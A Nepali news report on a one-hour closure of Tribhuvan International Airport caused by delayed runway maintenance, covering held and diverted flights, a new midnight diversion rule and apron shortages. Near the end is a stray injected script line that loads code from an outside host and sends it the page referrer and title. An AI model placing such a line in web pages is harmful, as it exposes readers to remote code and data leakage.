एक घन्टा बन्द भयो विमानस्थल

विमानस्थल बन्द भयो एक घन्टा

नेपालको एक मात्र अन्तर्राष्ट्रिय विमानस्थल शनिबार एक घन्टा बन्द भएको छ । धावनमार्गको नियमित मर्मतसम्भारमा ढिलाइले विमानस्थलमा उडान अवतरण रोकिएको हो ।

बिहान ६ बजेदेखि एक घन्टा विमानस्थल बन्द गरिँदा दुई जहाज आकासमै होल्ड गरिएको थियो भने एउटा जहाज डाइभर्ट गरिएको भयो । विमानस्थल बन्द भएपछि टर्किस एयर र नेपाल एयरलाइन्सको जहाज आकासमै होल्ड गरिएको थियो । फ्लाई दुबईको जहाजलाई भने लखनउ डाइभर्ट गरिएको विमानस्थल व्यवस्थापनले जानकारी दिएको छ । जहाज होल्ड या डाइभर्ट गर्नुपर्दा एउटै उडानमा कम्पनीले ठूलो घाटा बेहोर्नुपर्छ ।

अब रातको १२ बजेपछि आएका विमान अनिवार्य डाइभर्ट
सामान्यतया त्रिभुवन विमानस्थल रातको १२ बजेदेखि बिहान ६ बजेसम्म बन्द हुन्छ । तर, पछिल्लो समय नेपाल एयरलाइन्सका जहाज विभिन्न गन्तव्यबाट आइपुग्दा ढिला हुने भएकाले डेढ घन्टासम्म खुल्ने गरेको थियो । शनिबार भत्काइएको धावनमार्ग मर्मतको काम पूरा हुन नसकेर उडान प्रभावित भएपछि रातको १२ बजेपछि आउने सबै विमान अनिवार्य डाइभर्ट गर्नुपर्ने निर्णय व्यवस्थापनले गरेको छ ।

वर्षाको संकेत पाए मर्मत नगर्ने
शनिबार वर्षाले मर्मत प्रभावित भएपछि विमानस्थलले साँझ वर्षा हुने संकेत पाएमा त्यस रात मर्मत नगर्ने निर्णय गरेको जानकारी दिएको छ । तीन हजार मिटर लामो र ६० मिटर चौडा धावनमार्ग मर्मतमा अझै एक महिना समय लाग्ने अनुमान गरिएको छ । एउटा मात्र धावनमार्ग रहेको र सबै प्रकारका विमान उडान–अवतरण गर्नुपर्ने बाध्यताले त्रिभुवन विमानस्थलको धावनमार्ग पटकपटक उप्किने र उडान–अवतरण प्रभावित हुने गरेको छ । यो धावनमार्गको क्षमता अहिले दुई सय टनसम्म रहेको बताइन्छ । भूकम्पका वेला विमानस्थल व्यवस्थापनले एक सय ९६ टनभन्दा बढी भारका विमान आउन रोक लगाएको थियो ।

एउटा एप्रोन मर्मतमा गएपछि पार्किङ अभाव
त्रिभुवन विमानस्थलको अन्तर्राष्ट्रियतर्फ पार्किङको अभाव भएपछि नेपाल वायुसेवा निगम र हिमालयन एयरबाहेक आएका सबै विमानलाई उसकै गन्तव्यमा फर्काउनुपर्ने बाध्यता नेपालको छ । सोही कारण व्यस्त तालिकामा विमानस्थल सञ्चालन हुने गरेको छ । विमानस्थलमा अहिले नौ वटा एप्रोन (जहाज पार्किङ स्थल) छन् । त्यसमध्ये एउटा नियमित मर्मतमा छ । विमानस्थलले १ देखि ३ नम्बर एप्रोनमा वाइड बडी र ४ देखि ९ नम्बर एप्रोनमा न्यारो बडी जहाज पार्किङ गर्दै आएको छ ।

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Loading...